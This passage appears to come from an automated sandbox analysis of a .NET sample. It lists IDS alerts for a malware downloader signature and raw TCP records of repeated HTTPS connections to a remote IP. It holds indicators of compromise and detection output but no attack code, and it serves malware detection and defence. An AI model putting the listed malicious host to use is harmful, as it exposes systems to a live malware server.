RT_VERSION	0xe0a0	0x31c	data			0.43090452261306533
RT_MANIFEST	0xe3bc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-17T10:45:30.741114+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49731	103.191.208.122	443	TCP
2024-10-17T10:45:32.223002+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49732	103.191.208.122	443	TCP
2024-10-17T10:45:33.690453+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49733	103.191.208.122	443	TCP
2024-10-17T10:45:35.150605+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49734	103.191.208.122	443	TCP
2024-10-17T10:45:36.920913+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49735	103.191.208.122	443	TCP
2024-10-17T10:45:38.407880+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49736	103.191.208.122	443	TCP
2024-10-17T10:45:39.904840+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49737	103.191.208.122	443	TCP
2024-10-17T10:45:41.360113+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49738	103.191.208.122	443	TCP
2024-10-17T10:45:42.830062+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49739	103.191.208.122	443	TCP
2024-10-17T10:45:44.305112+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49740	103.191.208.122	443	TCP
2024-10-17T10:45:45.797877+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	103.191.208.122	443	TCP
2024-10-17T10:45:47.278145+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49746	103.191.208.122	443	TCP
2024-10-17T10:45:48.778978+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49748	103.191.208.122	443	TCP
2024-10-17T10:45:50.238028+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49750	103.191.208.122	443	TCP
2024-10-17T10:45:51.707907+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49751	103.191.208.122	443	TCP
2024-10-17T10:45:53.193914+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49752	103.191.208.122	443	TCP
2024-10-17T10:45:54.634392+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49753	103.191.208.122	443	TCP
2024-10-17T10:45:56.083941+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49754	103.191.208.122	443	TCP
2024-10-17T10:45:57.556438+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49755	103.191.208.122	443	TCP
2024-10-17T10:45:59.005788+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	103.191.208.122	443	TCP
2024-10-17T10:46:00.451816+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49757	103.191.208.122	443	TCP
2024-10-17T10:46:01.901798+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49758	103.191.208.122	443	TCP
2024-10-17T10:46:03.352612+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49759	103.191.208.122	443	TCP
2024-10-17T10:46:04.804421+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	103.191.208.122	443	TCP
2024-10-17T10:46:06.291424+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49761	103.191.208.122	443	TCP
2024-10-17T10:46:07.864941+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49762	103.191.208.122	443	TCP
2024-10-17T10:46:09.342705+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49763	103.191.208.122	443	TCP
2024-10-17T10:46:10.804718+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49764	103.191.208.122	443	TCP
2024-10-17T10:46:12.725781+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	103.191.208.122	443	TCP
2024-10-17T10:46:14.167626+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56700	103.191.208.122	443	TCP
2024-10-17T10:46:15.623215+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56703	103.191.208.122	443	TCP
2024-10-17T10:46:17.123192+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56704	103.191.208.122	443	TCP
2024-10-17T10:46:18.566939+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56705	103.191.208.122	443	TCP
2024-10-17T10:46:20.014144+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56707	103.191.208.122	443	TCP
2024-10-17T10:46:21.469767+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56713	103.191.208.122	443	TCP
2024-10-17T10:46:22.941094+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56719	103.191.208.122	443	TCP
2024-10-17T10:46:24.399680+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56729	103.191.208.122	443	TCP
2024-10-17T10:46:25.852320+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56735	103.191.208.122	443	TCP
2024-10-17T10:46:27.356913+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56746	103.191.208.122	443	TCP
2024-10-17T10:46:28.817057+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56755	103.191.208.122	443	TCP
2024-10-17T10:46:30.293703+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56763	103.191.208.122	443	TCP
2024-10-17T10:46:31.825450+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56769	103.191.208.122	443	TCP
2024-10-17T10:46:33.319475+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56780	103.191.208.122	443	TCP
2024-10-17T10:46:34.779713+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56791	103.191.208.122	443	TCP
2024-10-17T10:46:36.288734+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56797	103.191.208.122	443	TCP
2024-10-17T10:46:37.802093+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56808	103.191.208.122	443	TCP
2024-10-17T10:46:39.282160+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56818	103.191.208.122	443	TCP
2024-10-17T10:46:40.734686+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56825	103.191.208.122	443	TCP
2024-10-17T10:46:42.219776+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56835	103.191.208.122	443	TCP
2024-10-17T10:46:43.661687+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56846	103.191.208.122	443	TCP
2024-10-17T10:46:45.139266+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56853	103.191.208.122	443	TCP
2024-10-17T10:46:46.656583+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56862	103.191.208.122	443	TCP
2024-10-17T10:46:48.147641+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56871	103.191.208.122	443	TCP
2024-10-17T10:46:49.605862+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56881	103.191.208.122	443	TCP
2024-10-17T10:46:52.356323+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56899	103.191.208.122	443	TCP
2024-10-17T10:46:54.039344+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56908	103.191.208.122	443	TCP
2024-10-17T10:46:57.388592+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56927	103.191.208.122	443	TCP
2024-10-17T10:46:58.869589+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56937	103.191.208.122	443	TCP
2024-10-17T10:47:00.435784+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56948	103.191.208.122	443	TCP
2024-10-17T10:47:02.831024+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56964	103.191.208.122	443	TCP
2024-10-17T10:47:04.301101+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56972	103.191.208.122	443	TCP
2024-10-17T10:47:05.769358+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56983	103.191.208.122	443	TCP
2024-10-17T10:47:07.233555+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56991	103.191.208.122	443	TCP
2024-10-17T10:47:08.693357+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57000	103.191.208.122	443	TCP
2024-10-17T10:47:10.157721+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57008	103.191.208.122	443	TCP
2024-10-17T10:47:11.640056+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57009	103.191.208.122	443	TCP
2024-10-17T10:47:13.166751+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57010	103.191.208.122	443	TCP
2024-10-17T10:47:14.629944+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57011	103.191.208.122	443	TCP
2024-10-17T10:47:16.142287+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57012	103.191.208.122	443	TCP
2024-10-17T10:47:17.608321+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57013	103.191.208.122	443	TCP
2024-10-17T10:47:19.056436+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57014	103.191.208.122	443	TCP
2024-10-17T10:47:20.507646+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57015	103.191.208.122	443	TCP
2024-10-17T10:47:22.379253+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57017	103.191.208.122	443	TCP
2024-10-17T10:47:23.814115+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57018	103.191.208.122	443	TCP
2024-10-17T10:47:25.283549+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57019	103.191.208.122	443	TCP
2024-10-17T10:47:26.896880+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57020	103.191.208.122	443	TCP
2024-10-17T10:47:28.181878+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57021	103.191.208.122	443	TCP
2024-10-17T10:47:30.692314+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57023	103.191.208.122	443	TCP
2024-10-17T10:47:32.222649+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57024	103.191.208.122	443	TCP
2024-10-17T10:47:33.694881+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57025	103.191.208.122	443	TCP
2024-10-17T10:47:35.192298+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57026	103.191.208.122	443	TCP
2024-10-17T10:47:36.662281+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57027	103.191.208.122	443	TCP
2024-10-17T10:47:38.962017+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57029	103.191.208.122	443	TCP
2024-10-17T10:47:40.715486+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57030	103.191.208.122	443	TCP
2024-10-17T10:47:42.287778+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57031	103.191.208.122	443	TCP
2024-10-17T10:47:43.783634+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57032	103.191.208.122	443	TCP
2024-10-17T10:47:45.260773+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57033	103.191.208.122	443	TCP
2024-10-17T10:47:47.183193+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57035	103.191.208.122	443	TCP
2024-10-17T10:47:48.727899+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57036	103.191.208.122	443	TCP
2024-10-17T10:47:50.953306+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57038	103.191.208.122	443	TCP
2024-10-17T10:47:52.460410+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57039	103.191.208.122	443	TCP
2024-10-17T10:47:53.956234+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57040	103.191.208.122	443	TCP
2024-10-17T10:47:55.438324+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57041	103.191.208.122	443	TCP
2024-10-17T10:47:56.933762+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57042	103.191.208.122	443	TCP
2024-10-17T10:47:58.481937+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57043	103.191.208.122	443	TCP
2024-10-17T10:48:00.011026+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57044	103.191.208.122	443	TCP
2024-10-17T10:48:01.476457+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57045	103.191.208.122	443	TCP
2024-10-17T10:48:03.464095+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57046	103.191.208.122	443	TCP
2024-10-17T10:48:04.883334+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57048	103.191.208.122	443	TCP
2024-10-17T10:48:06.595267+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57049	103.191.208.122	443	TCP
2024-10-17T10:48:08.063145+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57050	103.191.208.122	443	TCP
2024-10-17T10:48:09.522377+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57051	103.191.208.122	443	TCP
2024-10-17T10:48:10.986153+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57052	103.191.208.122	443	TCP
2024-10-17T10:48:13.261276+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57054	103.191.208.122	443	TCP
2024-10-17T10:48:14.710157+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57055	103.191.208.122	443	TCP
2024-10-17T10:48:16.180670+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57056	103.191.208.122	443	TCP
2024-10-17T10:48:17.644712+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57057	103.191.208.122	443	TCP
2024-10-17T10:48:19.109139+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57058	103.191.208.122	443	TCP
2024-10-17T10:48:20.549130+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57059	103.191.208.122	443	TCP
2024-10-17T10:48:22.028188+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57060	103.191.208.122	443	TCP
2024-10-17T10:48:23.526064+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57061	103.191.208.122	443	TCP
2024-10-17T10:48:25.288955+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57062	103.191.208.122	443	TCP
2024-10-17T10:48:26.747857+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57063	103.191.208.122	443	TCP
2024-10-17T10:48:28.214556+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57064	103.191.208.122	443	TCP
2024-10-17T10:48:29.681914+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57065	103.191.208.122	443	TCP
2024-10-17T10:48:31.749572+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57067	103.191.208.122	443	TCP
2024-10-17T10:48:33.219758+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57068	103.191.208.122	443	TCP
2024-10-17T10:48:34.696031+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57069	103.191.208.122	443	TCP
2024-10-17T10:48:36.168915+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57070	103.191.208.122	443	TCP
2024-10-17T10:48:37.636177+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57071	103.191.208.122	443	TCP
2024-10-17T10:48:39.114006+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57072	103.191.208.122	443	TCP
2024-10-17T10:48:40.596080+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57073	103.191.208.122	443	TCP
2024-10-17T10:48:42.031839+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57074	103.191.208.122	443	TCP
2024-10-17T10:48:44.533157+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57076	103.191.208.122	443	TCP
2024-10-17T10:48:45.996702+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57077	103.191.208.122	443	TCP
2024-10-17T10:48:47.466131+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57078	103.191.208.122	443	TCP
2024-10-17T10:48:48.914187+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57079	103.191.208.122	443	TCP
2024-10-17T10:48:50.365945+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57080	103.191.208.122	443	TCP
2024-10-17T10:48:51.852713+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57081	103.191.208.122	443	TCP
2024-10-17T10:48:53.834050+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57084	103.191.208.122	443	TCP
2024-10-17T10:48:57.106112+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57088	103.191.208.122	443	TCP
2024-10-17T10:48:58.640575+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57089	103.191.208.122	443	TCP
2024-10-17T10:49:00.156669+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57090	103.191.208.122	443	TCP
2024-10-17T10:49:01.647318+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57091	103.191.208.122	443	TCP
2024-10-17T10:49:03.160658+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57092	103.191.208.122	443	TCP
2024-10-17T10:49:04.821617+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57093	103.191.208.122	443	TCP
2024-10-17T10:49:06.292568+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57094	103.191.208.122	443	TCP
2024-10-17T10:49:07.791110+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57095	103.191.208.122	443	TCP
2024-10-17T10:49:09.306182+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57096	103.191.208.122	443	TCP
2024-10-17T10:49:10.812318+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57097	103.191.208.122	443	TCP
2024-10-17T10:49:12.343595+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57098	103.191.208.122	443	TCP
2024-10-17T10:49:13.521711+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57099	103.191.208.122	443	TCP
2024-10-17T10:49:15.009819+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57100	103.191.208.122	443	TCP
2024-10-17T10:49:16.484223+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57101	103.191.208.122	443	TCP
2024-10-17T10:49:17.957618+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57102	103.191.208.122	443	TCP
2024-10-17T10:49:19.421134+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57103	103.191.208.122	443	TCP
2024-10-17T10:49:20.908238+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57104	103.191.208.122	443	TCP
2024-10-17T10:49:22.881332+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57105	103.191.208.122	443	TCP
2024-10-17T10:49:24.384970+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57106	103.191.208.122	443	TCP
2024-10-17T10:49:25.911511+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57107	103.191.208.122	443	TCP
2024-10-17T10:49:27.381674+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57108	103.191.208.122	443	TCP
2024-10-17T10:49:28.855753+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57109	103.191.208.122	443	TCP
2024-10-17T10:49:30.830836+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57110	103.191.208.122	443	TCP
2024-10-17T10:49:32.320091+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57111	103.191.208.122	443	TCP
2024-10-17T10:49:35.506407+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57113	103.191.208.122	443	TCP
2024-10-17T10:49:37.003450+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	57114	103.191.208.122	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 17, 2024 10:45:27.486366987 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:27.486407042 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:27.486474037 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:27.500147104 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:27.500163078 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:28.616144896 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:28.616259098 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:28.775067091 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:28.775110006 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:28.775412083 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:28.818279028 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:28.850723982 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:28.895405054 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:29.217117071 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:29.217147112 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:29.217155933 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:29.217216015 CEST	443	49730	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:29.217219114 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:29.217257977 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:29.226885080 CEST	49730	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:29.232912064 CEST	49731	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:29.232969999 CEST	443	49731	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:29.233064890 CEST	49731	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:29.233336926 CEST	49731	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:29.233347893 CEST	443	49731	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:30.343612909 CEST	443	49731	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:30.347409964 CEST	49731	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:30.347439051 CEST	443	49731	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:30.741107941 CEST	443	49731	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:30.741126060 CEST	443	49731	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:30.741164923 CEST	443	49731	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:30.741213083 CEST	49731	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:30.741256952 CEST	49731	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:30.741961956 CEST	49731	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:30.743308067 CEST	49732	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:30.743343115 CEST	443	49732	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:30.743408918 CEST	49732	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:30.743699074 CEST	49732	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:30.743711948 CEST	443	49732	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:31.849911928 CEST	443	49732	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:31.851519108 CEST	49732	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:31.851537943 CEST	443	49732	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:32.223102093 CEST	443	49732	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:32.223170042 CEST	443	49732	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:32.223268032 CEST	49732	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:32.223284006 CEST	443	49732	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:32.223308086 CEST	443	49732	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:32.223356962 CEST	49732	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:32.223865986 CEST	49732	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:32.224934101 CEST	49733	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:32.225004911 CEST	443	49733	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:32.225090027 CEST	49733	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:32.225332022 CEST	49733	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:32.225348949 CEST	443	49733	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:33.318650007 CEST	443	49733	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:33.320843935 CEST	49733	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:33.320902109 CEST	443	49733	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:33.690463066 CEST	443	49733	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:33.690489054 CEST	443	49733	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:33.690542936 CEST	443	49733	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:33.690588951 CEST	49733	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:33.690632105 CEST	49733	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:33.691346884 CEST	49733	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:33.692532063 CEST	49734	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:33.692560911 CEST	443	49734	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:33.692637920 CEST	49734	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:33.692899942 CEST	49734	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:33.692910910 CEST	443	49734	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:34.784969091 CEST	443	49734	103.191.208.122	192.168.2.4
Oct 17, 2024 10:45:34.787574053 CEST	49734	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:45:34.787606001 CEST	443	49734	103.191.208.122	192.168.2.4
